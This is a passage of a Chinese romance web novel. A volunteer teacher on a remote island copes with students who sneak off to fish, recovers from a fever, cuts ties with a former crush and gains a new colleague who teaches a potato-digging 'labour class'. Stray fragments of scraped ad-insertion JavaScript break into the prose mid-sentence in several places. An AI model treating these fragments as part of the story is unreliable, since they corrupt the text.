不过就见了一面,冯志鑫和周祈越混得挺熟,热情地喊他哥哥,还特意去教室搬凳子邀请人坐下。 这一番操作,陈夏柠恍然觉得自己还没一个小女孩懂事,毕竟周祈越上午还帮了她。 周祈越就坐在她旁边,慢条斯理地帮小女孩撕开包装袋,笑容和嗓音一样温柔:“把这些糖分给你的同学吧。” 这边的学生几乎没有智能手机,他们玩得游戏多彩又传统,跳绳、下棋、跳房子、翻花绳、打弹弓等,各种小团体散落在不同区域。 冯志鑫乖巧地点头,跑到每一处玩游戏的同学身边,耐心给他们发糖。 俩人就这么干坐着看小朋友玩游戏,周祈越倒是没主动跟她搭话的意思。 陈夏柠斟酌了下语句,打破沉默:“你这是来送糖?” “小妹妹觉得我的糖很好吃,我答应要给她同学也带——” 周祈越偏头看过来,额间碎发扫过眉峰,眼尾勾起,近距离看,他的瞳孔泛着点蓝色光影。 “我总不能食言吧。” 盯着他的眼睛,陈夏柠有些失神,没听清他后半句,含糊其辞地嗯嗯两声。 注意到她的视线,周祈越伸手在她眼前晃了晃,拖腔带调道:“好看吗?陈老师。” “......” 陈夏柠霍然清醒,心里说不出来的奇怪,是因为他的眼睛太好看了所以忍不住多看两眼吗? 不知道。 但现在她知道自己偷看人家被现场抓住了。 陈夏柠强忍着尴尬,局促地目视前方,做贼心虚的感觉涌上心头。 周祈越靠着椅背,像只翘尾巴的狐狸,洋洋自得:“陈老师进步挺快啊,上午我刚说不用搞偷窥,下午你就直接光明正大地——” “偷、看、了。” “......” 陈夏柠深呼一口气,重新扭回头,面无波澜地说:“我只是觉得很奇怪。” 周祈越挑眉:“奇怪什么?” “有没有人跟你说过——”陈夏柠想了一下,脑海里飞速运转贴切且不失冒犯的表达,“你的目光坚定得像入党?” “......” 周祈越僵化三秒,睥睨着她,冷嗤了声:“因为我对这片土地爱得深沉是吗?” - “哈哈哈哈......”视频中许佳念双手托着面膜笑得前仰后合,随后声情并茂将艾青的那首诗歌读出来,“为什么我的眼里常含泪水,因为我对这片土地爱得深沉。” 下半句她也忍不住笑场了。 陈夏柠胳膊肘抵在书桌,两只手扶额,连连叹气:“我快尴尬死了,脚趾头扣出三室一厅了。” 许佳念消停下来,正儿八经地看她,“不是,你怎么想出来用入党形容他?” 陈夏柠张了张嘴,许佳念又笑喷了:“差点忘记你是坚定的马克思主义者,你俩是什么搞笑男和搞笑女。” “......” 陈夏柠再三重申:“我说的是他的眼睛,他的目光!” 许佳念:“他到底长什么样啊,有没有照片?” “没有照片。”周祈越的帅很难定义,陈夏柠不知该怎么形容他,“长得挺惊艳的,尤其是他的眼睛,今天近距离看见,我竟然有种好像在哪见过的错觉。” 许佳念咦咦两声:“你这么快对他心动了?比江逸风还帅吗?” “怎么可能!我们才认识几天啊,”陈夏柠掰着手指头罗列他的缺点,“他本人很欠揍的好吧,而且还是个人尽皆知的败家子,我怎么可能会喜欢他。还有,都说了不许提那个人!” 许佳念撕掉面膜,一板一眼地说:“夏夏,越是逃避越说明你根本没放下江逸风。” 一语戳中心事,陈夏柠蹙起眉,眼底稍黯:“其实今天我碰见一个想加我微信的男人,我没给他,他就强势逼迫我加,最后发生争执还报了警——” 许佳念急忙插话:“啊?夏夏你没受伤吧?” 陈夏柠摇了摇头,继续说:“看到那个男人,我下意识想到江逸风,我就在想是不是所有青春期的女孩都会对痞坏的男生动心,所以我才鬼迷心窍地喜欢他。” “在澳洲的三年,我想过无数遍这个问题, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”她难以理解地问自己,“我为什么会喜欢上江逸风,我怎么能喜欢上他那样的浪子?” “这说明你已经长大了,开始否定曾经的喜欢了。”听到她这番话,许佳念舒缓一口气,循循善诱道,“谁都有年少无知的时候,就当给自己长个教训,以后擦亮眼睛呗。既然你不喜欢他了,为什么要躲着他跑去那么偏的地方支教,快回来吧。” 来到这不只因为江逸风,还因为不想面对爸妈,准确的说,是养父母。 陈夏柠今年二月份回国,入职海大的辅导员才四个月,国外的生活难熬,回国后发现她根本没做好心理准备面对那些人。 朝阳岛虽偏,但足够清静,陈夏柠对这边挺满意,“就当是旅游散心吧。” “行行行。”许佳念重新扯回话题,“记得给我拍照片啊,让我看看你的真命天子有多帅。” 陈夏柠哼哧一声:“......你想得美,我跟他不熟。” 碍于明天俩人都有工作,没聊太久,睡觉之前陈夏柠定了个闹钟,虽然知道也没什么用,来到这后她整天醒得比闹钟还早,但还是防患于未然。 熄灭手机前,随手翻了下微信,有一条转账过期通知,是那五十块钱。 不知道为什么周祈越没收,她困得不行,倒头就睡了。 次日清晨,陈夏柠起床洗漱,目前来看教师宿舍只有她一人了,任课老师们昨晚就打包行李放假回家了。 假期学校食堂早餐不开,陈夏柠早餐只能在金鱼巷解决,她没像昨天那样去的早,刻意等到早上八点,那边店铺都开门的时间点。 巷子里的游客增加许多,在买生煎的时候听老板说,当地的俊阳山挺有名,来爬山的都是大学生特种兵。 这家店铺的客人不是很多,陈夏柠坐在中间位置不紧不慢地喝着豆浆,对面一桌来了一对情侣,女生问男生想吃什么,男生抱着手机玩游戏,来了句随便。 女生跟老板说:“两份紫菜蛋花汤,一盘煎饺和一笼小笼包。” 女生耐心和男生说着旅游线路,男生全程盯着手机屏幕,点头嗯嗯几声,女生长得乖巧甜美,脾气很好,并没生气。 老板将他们的早餐端过来,女生瞧见两份紫菜蛋花汤都加了香菜,陈夏柠瞧见她捞起筷子小心翼翼地把香菜夹出来,然后将这碗挪到男生面前。 女生提醒:“快点吃吧,我们赶时间。” 男生输了游戏烦躁地骂了句操,总算扔掉手机,用勺子舀了口紫菜汤,脸色突变质问女生:“不知道我讨厌香菜啊?” “我明明挑出来了。”女生指着桌上挑掉的香菜叶说。 “啪”的一声,男生将勺子扔在桌面发出声响,气冲冲道:“挑出来有什么用,都入味了。” 女生小心翼翼地说:“那我重新再点一份吧。” 她正要起身,男生抄起手机往外走,甩下一句:“不吃了。” “欸,你等等我。”女生拿着他的包匆匆跟过去,俩人一同离开这家店。 陈夏柠只吃了两个生煎就觉得索然无味,拎着一杯热豆浆出门,站在小巷的青石板路回头望了望那位女生,心口隐隐被一只无形的手掌捂住,闷得她透不过来气。 原路返回,快到学校的时候,手机有条消息弹出来,一个全黑的微信头像: 【明天出来聚一聚,地点金帝会所,晚七点。】 8. 小柠檬 暑假上课时间较为宽松,校车八点十四将学生接到学校,九点准时进班集合。 学校仅有一间大教室有多媒体,容纳全校学生刚刚好,陈夏柠将提前准备的英语课件传到屏幕,播放26个英文字母的动画。 她分为五组,前四组5个字母,第五组6个字母,分组暂停动画带着学生一起读。每组循环带读,像攻克游戏关卡,确保前一组掌握,再进入下一组带读。 以前在澳洲她去过启蒙班兼职,那里的老师自创课堂游戏,调动儿童的积极性,让学习变成一件趣味且有挑战的事,陈夏柠尽量仿照这种模式。 大概耗费一节课,字母全部教授完毕,学生们的心思也飘到天边云外了。 陈夏柠会心一笑:“你们想不想出去玩?” 学生们立马来了精神:“想!” “那让我们玩最后一个游戏,通关的同学可以先出去玩。” 陈夏柠想检验一下他们的学习效果,简称头脑风暴,同样将学生分为五组,由她开头随机念某个字母,按照顺序组员以此接龙,无障碍接到字母Z算闯关成功。 冯志强那组开头做了个很好的示范,并得到最先下课的优先权,其他四组纷纷重视起来,对待这场游戏。 轮到第五组,陈夏柠说了个字母G,前面七位同学还好,轮到王小壮,他支支吾吾半天也没想出N后面是什么,陈夏柠瞧着他示范读音,王小壮学了三次才将O读出来。 在她的再三提示下,第五组磕磕绊绊地完成任务,按照事先说好的规则,他们要重来一遍,有位叫肖思明的小男孩心有不忿地说:“都怪有人当拖油瓶。” 其他组员偷瞄了眼“拖油瓶”。 王小壮绷着嘴,气得像只蒸汽机。 见状,陈夏柠轻拍了拍王小壮和肖思明的肩膀,勾唇笑笑:“我可没说要罚你们哦,你们组表现得不错,快去操场上玩吧。” 一场即将燃起的矛盾在跑出教室欢快的脚步中烟消云散。 小孩子的世界很简单,上一秒可以争个面红耳赤,下一秒就可以握手言和玩得不亦乐乎。 但成年人就不行,有些话和举动像根刺扎在心底,造成的伤害是难以原谅的。 陈夏柠坐在讲台,望着空荡荡的教室,不禁想起早上吃饭碰见的那对情侣,在某种程度上,看见那个女孩子就跟照镜子一样。 大二那年冬天期末考试完,江逸风将她拉到一个微信群,里面全是他朋友,他们在商量着明天滑雪。 大学后江逸风新交很多朋友,她说过不怎么认识他朋友。陈夏柠窃喜他记得这句话,借此机会介绍他朋友给她认识。 次日早起她特意选了件白色毛呢外套内搭白色纱裙,画了个清新的妆容,连室友纷纷夸赞她特别仙。 一行人约定在校门口见面,江逸风在微信群里催:【快点啊,老子连早饭没吃,在冷风口等你们。】 原本快到南门的陈夏柠看到这条消息,快速跑到最近的三食堂,买了份蛋包三明治和一瓶牛奶,外面的寒风嗖嗖响,她将早餐包在自己围巾底下,围巾是她最喜欢的,也不介意粘上油渍。 “给你买的早餐。” 陈夏柠小脸冻得发红,见到江逸风,满心欢喜地捧着热乎乎的牛奶和三明治送到他面前。 江逸风喜欢穿黑色衣服,气质偏冷,整天酷酷的,边吃三明治,随意瞥见她的穿搭,吐槽道:“你怎么穿的跟个北极熊似的,一身白。” “......” 陈夏柠难堪地低下眼,双手揣在口袋暗自握紧拳头,脸颊热得难受。 “还在吃饭啊,逸风。”时曼茜走过来大咧咧地将胳膊搭在他肩膀。 “嗯,不好吃。”江逸风将剩下大半块三明治扔进旁边的垃圾桶,手里还有没拆封的牛奶,递给时曼茜评价她,“好看。” 陈夏柠抬眼望去,女生浓妆艳抹,红色小棉袄搭配黑色短裤长靴,妖艳御姐风格。 “嘴巴抹蜜了啊。”时曼茜捂嘴笑了笑,拆开牛奶喝了一口,“哎呀,我不喜欢喝纯牛奶。” “那丢了吧。”江逸风随口道,看见人来齐了,喊了声愣在原地女生,“走啊。” 陈夏柠慢吞吞地跟他们上一辆包车,她坐在单人座,隔着过道是江逸风,他旁边的时曼茜注意到她的存在,揽着江逸风的胳膊问:“她是你朋友吗?” “邻居家的妹妹。”江逸风盯着手机屏幕说。 陈家和江家生意往来频繁,爷爷辈份就交好,两家人互相走动,比亲戚还要亲。 陈夏柠和江逸风考上同一所大学,俩家父母特意嘱咐他们要多加照应。 因他这一句话,陈夏柠更加笃定江逸风只把她当成妹妹,悄悄藏起自己的喜欢。 同行八人,六位男生经常滑雪,自带装备,剩下两位不常来的两位女生需要去滑雪场租装备。 陈夏柠第一次来闵山,当时游客特别多,她晕头转向地不知去哪,江逸风让她待在内场入口等他。 她真就听话等着他,差不多半小时,陈夏柠被冷风吹得浑身发抖,心急如焚地发消息问他怎么还没回来。 江逸风转给她一个定位:【我把服装一同给时曼茜了,忘记你俩没加微信,她现在在滑雪,你去找她。】 此时此刻,陈夏柠盯着江逸风的聊天框,仔细斟酌那句“明天出来聚一聚,地点金帝会所,晚七点”,不是征求她的意见,而是通知和命令。 因为他笃定她会像学生时代那样老实听话,当他身后的小尾巴,一次又一次地在原地等他。 后来她才明白,江逸风怎么可能不知道她喜欢他,只是装作不知道而已。 被偏爱的有恃无恐,这句话一点也不假。 思及此,陈夏柠冷笑两声,暗自嘲笑曾经那个傻傻的自己。 她点击黑色头像,什么也不顾地删除好友,然后熄灭手机。 陈夏柠走出教室,感受夹着海盐味的夏风,映入眼帘的是蓝天白云,操场上嬉笑玩耍的小朋友。 心里那股怨气得以疏散。 挺好的,该清理掉的东西就应该及时清理。 不要为不值得的人浪费情绪。 过了一会儿,食堂阿姨提醒她可以吃午饭了,陈夏柠将学生全部喊到食堂,指挥着他们排好队,她也在清点人数。 怎么少了两个人? 虽然这个班的学生她没全部认清,但一目了然很快发现没有王小壮的身影。 “王小壮,王小壮......”陈夏柠喊了几声没得到应答,对着所有同学问,“有谁知道王小壮去哪了吗?” 学生们沉默一小会儿,陈夏柠愈发忐忑不安,正准备离开食堂找人,有位小女孩跑过来悄悄说:“老师,我听见王小壮和肖思明说要去星月湾钓鱼。” - 此时,星月湾风和万里,碧海蓝天一线,给人一种错觉,白云层层峦峦从海面直冲天际。 周诚停止摆弄渔网,站在筏排举起手机开始拍照。 周祈越正在沿着鱼排方格系沙袋,审视对面的人半响,随即抄起手边沙袋扔过去,哗啦一声,面前的水花如水龙头直射喷周诚一脸。 周诚抬手抹了把脸,破口大骂:“妈的,你有病啊!” “这是你家渔场还是我家渔场?拉我来干活,自己却在这摸鱼。”说着周祈越直接甩脸色罢工,顺着四四方方的筏排走向边缘的帐篷。 “我哪偷懒了,就拍个照。”周诚贫嘴,急忙跟过去。 这帐篷悬浮在浅海区域,呈现长方形状延伸至十米长,人走在木制地板发出啪啪的声响。 周祈越懒得跟他计较,反正在朝阳岛没什么事,顺便帮周诚家料理渔场。 他捞起凳子坐下,正喝着水往四周扫视,视线一顿,“你家渔场对外开放啊?” 周诚顺着他的目光看过去,大概有十米的距离,有两个小孩在鱼排上拿着鱼竿钓鱼。 “呦吼,偷鱼贼啊。”周诚一拍大腿,撸起袖子气势汹汹地跑过去捉贼。 周祈越咽下一大口水,匆匆拧好瓶盖,紧跟其后。 “哪来的两只小鬼,”周诚两只手分别揪住两小孩后颈的衣领,“谁允许你们在这钓鱼的?” 两个小男孩挣扎着想跑,周诚偏不放手,跟抓鱼似的。 周祈越打量这俩小孩半天才认出来:“你们是不是希望小学的?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王小壮给肖思明一个眼神,俩人闭口不承认。 周祈越看破他们的小九九,大拇指指向周诚,盛气凌然道:“知道他爸是谁吗?公安局的周警官,你俩要是不说实话,可是要被送到警局的。” 一听到警察局,肖思明立马怂了:“是希望小学的,我们没钓到一只鱼,你们别抓我。” 眼瞧着快把小孩吓哭,周祈越让周诚放手,给这俩小孩选择:“是想去警局还是回学校?” “......” 王小壮和肖思明泄了气,像两只耷拉耳朵的小狗,无奈选后者。 周祈越跟在他两身后,准备送他俩到海滩,“你俩出来,陈老师知道吗?” 俩人心虚得不说话。 “厉害啊,从小就知道逃课。”周祈越竖起大拇指,这下他得给人送到学校了。 陈夏柠暂且将剩下的学生交给食堂阿姨和保安大叔照看,自己按照手机导航找到星月湾的位置,距离学校不远。 来的路上心跳七上八下,各种不安情绪涌上心头,原来校长说的暑期安全问题真的会存在,只是没想到这么快,刚接手第二天就有学生私自外出了。 陈夏柠五分钟跑过来,从公路的入口下到沙滩,环顾四周没什么人。 中午的太阳本就热,她额间的汗水顺着脸颊往下掉,整个人停在原地大喘气,目光定在面前的大海,蔚蓝的海浪在拍打岸边。 陈夏柠大脑嗡嗡作响,眼前的场景似乎在渐渐虚化,心率莫名加速。 随后突如其来的,天地颠倒一片。 “陈夏柠,陈夏柠......” “陈老师,陈老师,你怎么了?” ...... 陈夏柠醒来的时候,盯着头顶的白炽灯看了半响,直到周祈越的脸倒映在眼前,伸出一根手指问她:“这是五还是三?” “......” 陈夏柠缓缓从病床上坐起来,眨了眨眼:“是一百!” 周祈越将枕头垫在她身后,偏头叹声:“得,脑子彻底烧坏了。” “......” 陈夏柠反倒被逗笑了,恍然想起正事:“对了,我要找王小壮和——” “他们没事,回学校了。”周祈越打断话,正眼瞧她,“先关心关心你自己吧。” 她看了看在输液的手背,正色道:“我发烧了吗?” 周祈越:“嗯,快四十度了,你感觉不到吗?” 陈夏柠摇摇头,还真没感觉到。 她回忆当时的场景,莫非是...... 周祈越说清楚事情的来龙去脉:“你的学生跑到渔场被我逮到,我送他俩回去,在沙滩上碰见你晕倒了。” “谢谢你啊。”陈夏柠轻笑了声,“说来也奇怪,来到这里每次有困难都能遇见你。” 周祈越浑身懒散地靠在椅子上,像只树懒似的,撩起眼皮,悠悠道:“我都怀疑你是不是故意偶遇我了。” “......” 陈夏柠脑袋昏沉着,懒得跟他争辩。 “渴不渴?”周祈越看着她问了句,随即拿着水壶起身离开。 陈夏柠刚找到手机,就有电话打过来。 没想到在此刻听到了个最不想听到的声音:“陈夏柠,明天聚会你去不去?” “不去。”陈夏柠凉凉道,越说越激动,“江逸风,你以为所有人都跟你一样闲吗?” 江逸风讶然:“你吃枪子了,说话这么冲,还有删我微信干嘛?” 陈夏柠平复了下心情,不咸不淡地说:“人都会变的,我现在说话就是这样,你不喜欢就别理我,我想删谁是我的权利,因为有些人的存在就像垃圾一样,只会占我内存。” 说完,她也没给对方回答的机会,直接挂断,拉黑手机号,并将手机扔在床上。 谁知一抬眼,对上那双璨若星河的眼睛,周祈越若无其事地走过来坐下,给她倒水。 陈夏柠没再吭声,双手捧着水杯低头喝水,氤氲的热气进入视野,热得她眼角发红。 周祈越视线定了三秒,别开眼看向别处。 小柠檬,你过得不好,对吗? 9. 周老师 病房是单独间,陈夏柠醒来后就睡不着了,吊瓶上的药水一滴一滴地往下掉,像个行走过慢的秒表,她偏过身,抓住输管上的调节器,试着滚动按钮让它滴快点。 “你干什么呢?” 一道慵懒的嗓音插进来,陈夏柠回头看过去,脸颊划过诧异。 他不是走了吗?怎么又回来了。 周祈越双手没空着,抬脚勾着桌腿将餐桌挪到床前,边打开塑料袋,边说:“林校长知道你生病了,她老人家在隔壁村忙着解决茶农的纠纷,没法赶过来,特意嘱托我来照顾你这个病号。” 陈夏柠脑子昏沉着,纳闷校长和周祈越竟然这么熟了,不过盯着眼前的汤面、米饭盒饭和黑米粥馒头,她似笑非笑地看他:“一日三餐全齐了。” “......” “不知道你想吃什么,看到什么就买了,又没让你全吃完。”周祈越绕过床尾走到另一边重新将调节器调回去,一如既往的训斥语气,“这药水下得慢,药效才好,懂不懂这点常识。” “我都已经退烧了,只想赶快回去。”陈夏柠最讨厌待在医院了,一股药水味,也不知道学校的情况,这会儿莫名心急。 周祈越朝她抬抬下巴,不紧不慢道:“你吃完饭,剩下的半瓶就下完了。” 陈夏柠没什么胃口,唯一能吃下的只有清淡的黑米粥,分量很大,喝完粥,医生刚好过来给她拔针。 她这发烧来的急,走的也快,医生说,她应该是中暑加发烧才导致短时昏迷。 陈夏柠大概能猜出真实原因,也没说什么,点头附和医生。 确认她没什么大碍,医生同意她出院观察。 周祈越拎着医生开的药盒,陈夏柠按着手背的棉签,两人一前一后走在狭长的过道。 她思绪清晰了些,小步跟过去追问:“林校长怎么会知道我发烧了,她又怎么会让你——” 周祈越接话茬,一口气交待完:“你昏迷的时候医生要登记患者信息,非要你的身份证,我说没有,他又问我知不知道你身份证号,我只能打给林校长问一问了。” 其实他也不知道林梅的手机号,也是找周诚问的,周诚估计找他爸要的。 作为支教老师,来之前她的确有给校长发过身份证,这样就说得通了,林梅知道她生病,刚好周祈越在,顺便让他帮忙看护。 “没想到一点小病惊动校长了,”陈夏柠不以为然地笑了笑,掏出手机给校长发消息报平安,又对他说,“不管怎样,还是谢谢你了。” 周祈越回头瞧她,不耐烦的表情:“陈夏柠你不累么,这几天要说多少遍谢谢,我耳朵都要长茧了。” “我——!” 他斜睨着她,脱口而出:“别光是嘴上表达感谢,你倒是付出点实际行动啊。” 陈夏柠不知道他是不是生气了,反观自己的确挺没诚意的,“......那、那你想怎么让我感谢你呀?” 周祈越低不可闻地叹气,别回脸,往前走,“还没想好,等我想好了再告诉你。” “......” - 折腾了一下午,陈夏柠回到学校已经是黄昏,在食堂阿姨和保安大叔的监管下,同学们倒挺老实地待在教室做暑假作业。 陈夏柠视线落在王小壮和肖思明身上,俩人眼神飘忽得厉害,被叫出去往外走,两个小男孩靠墙站着,紧张得双腿发抖。 陈夏柠也没给好脸色,冰冷冷的语气:“说吧,为什么要私自外出?” 从中午看见老师昏倒的那一刻,这俩人心声一致,完蛋了,闯祸了,然后备受心理折磨了几个小时。 肖思明的胆子明显比王小壮小很多,低着头巍巍颤颤交待。 上午他嘲笑王小壮拖油瓶,王小壮当然心生不服,指着他说:“你就是个书呆子而已,其他什么都做不好,你才是真正的拖油瓶。” 肖思明也急了:“你胡说!我学习好,会做家务,还会和爷爷一起钓鱼。” “切!谁信啊。”王小壮翻白眼,吐舌头,“书呆子你只会吃鱼还差不多。” “我真的会!我真的会钓鱼!”肖思明跺着脚,气得满脸通红,“我这就证明给你看。” 王小壮胜负心作祟,趁机发出挑战:“行啊,咱俩比比谁钓的鱼多。” 肖思明积极应战:“比就比,谁怕谁!” “......” 这俩人的理由,陈夏柠只觉得无语又好笑,忍着气问他们怎么出去的,毕竟上午校门关闭,俩小孩不可能在保安大叔的眼皮子底下溜走。 无奈之下,王小壮和肖思明带着陈夏柠来到教学楼后面的一片荒地,那边杂草丛生,红墙被绿油油的爬山虎遮得密不透风,王小壮站在墙角掀开植被,露出一个废弃的下水道通风口。 陈夏柠:“......” 天哪,这俩小孩是当地鼠钻出去了。 “俩地鼠”还挖地,让这洞口变得更大了。 此时此刻,陈夏柠总算明白学校的老师为什么坚决不来小学支教了,小孩子有可爱的一面,但调皮捣蛋起来,把老师气成心肌梗塞也不为过。 陈夏柠自认为包容度很强,不会轻易发脾气,但只要真生气了,她也控制不住自己。 平日管理大学生,他们闯什么祸,犯什么错,陈夏柠都好声好气地讲道理,心平气和地将问题解决。 可现在她面对的是两个三年级的小孩,未成年,他们根本没有太多明辨是非的能力,你说再多大道理,他们也听不懂。 否则他们也不会因为一时的冲动将约法三章抛之脑后,也不会做出如此幼稚可笑的事。 这俩小男孩是不会理解她跑向海边的心情。 陈夏柠当时真的害怕,害怕自己把两个小孩看丢了,如果他们出了什么意外,她不敢想象自己该如何面对。 “你们俩个现在去操场跑三圈!”陈夏柠一记眼刀甩过去,变本加厉道,“扫一个星期的地!” 王小壮和肖思明缩着头,识趣地遵守命令。 晚上睡觉前,陈夏柠照例给许佳念打电话,分享今天的情况。 虽然没发什么严重的事,但想想还是挺后怕的。 许佳念劝她赶快回去算了,她这工作表面轻松,实则背后的责任大着呢。那些留守儿童,父母都没空管教,她一个外人怎么可能管得住。 陈夏柠承认生气时,不是没有后悔自己的选择,但倾诉完苦水,冷静下来后,她更不想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半途而废,毕竟是她主动选择了朝阳岛。 往好处想,也不是所有小朋友都调皮捣蛋,冯志强和冯志鑫两兄妹就很听话,真心向学。 做事情有始有终,既然来了,就算有再大的难题,硬着头皮也要挺过去。 因为这件事,陈夏柠半夜失眠到两点才睡着,早上被闹钟吵醒,顶着两黑眼圈出门买早饭。 回到学校时,她跟来上班的保安大叔打招呼:“张叔早上好。” 张叔笑起来满脸皱纹:“早上好啊,陈老师。” 陈夏柠抬脚要走,想起了什么,回头问:“张叔,学校里有没有铁锹?” 这工具不同地方的叫法不一样,张叔最初没听懂她在说什么,陈夏柠说明自己的用处,张叔这才意会,带她去小仓库找到。 陈夏柠铁锹来到教学楼后面的那块荒地,她要把那个洞口堵住,防止其他学生继续从这里溜出去。 大早上她在用铁锹铲土往洞口堆积,像个勤奋的农民在开垦土地。 陈夏柠微喘着气,自我打趣道:“哎,我这奉献不得登个报纸?” 下一秒,还真有人鼓掌加回应:“这边考虑将陈老师的丰功伟绩载入史册。” “......” 顿时,陈夏柠后背僵住,有股电流从尾脊骨蔓延而上,耳后酥麻一片。 太、丢、脸、了。 太!窘!迫!了。 为什么她在这挖土要被他看见?! 这下她真的要载入史册了。 陈夏柠屏住呼吸,做好被他嘲笑的心理准备。 周祈越已经走过来夺过她手中的铁锹,打量她正填埋的洞口,正儿八经地说:“这样填土没什么用,只要一下雨还是会被冲掉,用砖块砌墙才能封死。” 陈夏柠神经一松,转移话题:“你怎么来了?” “跟你说个事儿。” 周祈越弯腰去捡荒地的砖头,陈夏柠还在等他的下半句,男人愁眉苦脸,哀叹一声:“在林校长的三顾茅庐之下,我决定勉为其难地来这工作了。” 她愣了一下,眨了下眼:“你的意思是,要来这当老师?” 周祈越将捡的砖块推在一起,站起身拍了拍掌心的泥土,转眼看她发呆的表情,他眉梢一抬,闲散道:“我知道陈老师特别想我来,就别偷着乐了。” “......” 要说没有惊喜那是不可能的,昨天的事令她心有余悸,多一个帮手她会心安许多。 她问:“周老师打算待多久?” “不知道,看心情。”周祈越轻笑了声,转身去外面提一桶水回来,泼在地面和水泥。 陈夏柠站在一边也帮不上什么忙,就这么干看着他撸起袖子,白皙修长的手指粘上粘泥,干脆利落地抄起砖头砌墙。 他后知后觉地问:“你怎么想着修墙了?老师的职能已经延伸到建筑工了?” “......你猜昨天那俩小男孩怎么逃出去的?”陈夏柠嘟着嘴,提醒,“没有走校门。” 周祈越正蹲在地上专心补墙,朝阳温柔地拂过他脸颊,他肩膀颤动,不禁笑出声:“这俩小孩挺牛啊,未来可期,祖国的栋梁。” “......” 10. 周大厨 周祈越干用手垒砖块挺费劲,陈夏柠跑过去找张叔搜罗到刮泥土的抹子,谁知回来的时候,他徒手在泥土里扒拉什么东西。 陈夏柠凑近看清楚,哇了一声:“竟然有土豆。” 他举起一颗浑圆的小土豆放在眼前观摩,“原来土豆是长在土里的。” 陈夏柠匪夷所思地问:“不然呢,你以为它长树上?” 周祈越瞧她一眼,理所当然道:“吃个菜倒还需要追踪物种的起源?” “......” 陈夏柠咧咧嘴,遇到知识盲区了吧,你不是号称很懂常识吗。 她跟发现宝藏似的,来了兴致,指挥他:“你继续挖,这肯定是片土豆地。” 周祈越:“......” 你真把我当成农民了啊,我从来没下过地好吧。 没过一会儿,教学楼里面传来学生打闹的声音,意识到校车已将学生送过来,俩人就此作罢,从荒地里走出来。 陈夏柠边带他进班,顺便问:“你准备教什么课?” 周祈越正好走到班门口,迎面撞上推搡着跑出来的俩男孩。 他还没作何反应,王小壮眨巴眨巴眼,特别不欢迎他的语气:“你干嘛?!” 周祈越抬手弹了下他的脑门,装腔作势地审视着俩人:“来抓小孩,送警局。” 闻言,肖思明本能地往陈夏柠身后躲。 王小壮跺着脚急眼了,忘记谁爸爸是警察,“我都说了,没钓着你家的鱼,你爸爸是警察也不能抓我们!” 陈夏柠大概明白什么情况了,在周祈越顶嘴前,摸着俩男孩的头说:“他逗你们呢,以后他就是你们的周老师了。” 王小壮和肖思明相望一下,像被雷劈的表情:“......周、老、师?!” 周祈越抱着双臂,居高临下地冷笑:“怎么,有意见?” 俩小孩僵在原地:“......” 站在一旁观望的陈夏柠唇角微扬,原来这俩人害怕周祈越呀。 九点准时上课,陈夏柠打算以后第一节都是英语课,进入正式课堂前带学生复盘了下二十六个英文字母,然后按照课件顺序带着他们学习简单的英文单词。 中间下课,陈夏柠去办公室歇息,拿着水杯在饮水机接水,蓦然想起她和周祈越的分工问题。 他并不是真正的老师,也不能为难他给学生上课,要不以后她来上课,自由活动时可以让他看管学生。 嗯,这个安排不错。 陈夏柠待了一小会儿,走出办公室,想去找周祈越协商。 不料一出门,原本热闹哄哄的操场没一个学生,教室也空荡荡的。 陈夏柠挠了挠头,给周祈越发消息:【你去哪了?学生呢?】 July:【来荒地。】 谁能想到曾经学校最荒凉的地方此刻最热闹,周祈越和张叔一人一个锄头在刨地,学生们纷纷提着麻袋在刨过的土地上捡土豆。 真如所她说,这块地真藏着挺多土豆,越挖越多。 陈夏柠走过去,不理解地问:“周祈越,你带学生来这干什么?” 周祈越闲散道:“我在给他们上劳动课啊。” “......” 他望着正享受劳动而不用上课的学生,夸赞:“看看他们多卖力,多听我话。” 陈夏柠一时语塞,心想这人真精明,以上课的名义让学生给他干活。 这叫什么,假公济私! 周祈越扯着嗓子,给小朋友加油打气:“中午给你们做土豆大餐好不好,你们想吃什么?” 学生们举起手先后回应:“炸土条!土豆鸡蛋饼!还有狼牙土豆!” 周祈越大放厥词:“好嘞,都做。” “......” 陈夏柠凑到他旁边小声问:“这土豆来历不明,能吃吗?” 周祈越也偏头靠过来,解释:“我问过张叔了,以前这就是个菜园,去年食堂阿姨种了土豆,今年就没人再管了,这块地土壤肥沃,没想到去年留下的残根又丰收了。” 陈夏柠低头哦了声,一抬眼,恍然察觉他俩的脸近乎要凑到一起了。 周祈越对视过来,三秒之内,那股怪异的氛围瞬间席卷而来。 似乎语言系统紊乱,无法正常聊天。 下一刻,他俩不谋而合地别过脸。 周祈越继续刨地,陈夏柠慌里慌张地跑过去跟学生一起装土豆。 “......” 其实陈夏柠还有话没问完,等到中午时,她想问的问题也不用问了。 周祈越连土豆长在土地里不知道,应该是那种十指不沾阳春水的人,却能够亲自下厨给大家做炸土条、土豆鸡蛋饼和狼牙土豆。 而且在食堂吃饭的小朋友边吃边赞美好吃。 学生打完饭,陈夏柠才去拿餐盘打米饭,今天的菜全是土豆,周祈越大咧咧地落坐在她面前,上来就一副求夸奖的表情:“合胃口么,陈老师。” 陈夏柠轻笑了声,浮夸道:“周大厨,米其林大师都比不上你,你要不考虑入职学校后厨算了。” “那倒也不用,”周祈越真会顺着杆子往上爬,“现在工作多不好找啊,我总不能让食堂阿姨失业,太不道德了。” “......” 陈夏柠心想,有时间担心别人,就不担心你自己,无业游民, “说到找工作,”她扒拉着米饭,迟疑了下,“你不着急吗?” 周祈越:“着急什么?” “我听校长说起你的经历了。”陈夏柠蛮同情他的遭遇,语重心长地劝说,“你还是早点找个正经的工作吧,毕竟年纪也大了,在这么耗下去真就没人用你了。” “啪”的一声,周祈越将筷子放到餐盘,蹙起眉,扣起字眼反问:“我工作不正经?年纪大了?没人用我?” “......” 陈夏柠悄悄抬起眼,看他表情,是不是生气了。 这么玻璃心的吗? 虽然说的话具备侮辱性,但忠言逆耳呀。 不料,周祈越自信满满地说着下句:“数不清的大厂抢着要我,估计能排到我退休。” “......你心态真好。”陈夏柠低头吃饭,就此打住这个话题。 - 学校食堂只有中午开放,夏季天长夜短,直到下午五点才放学,等学生离开后,整个学校 (function () {var id = 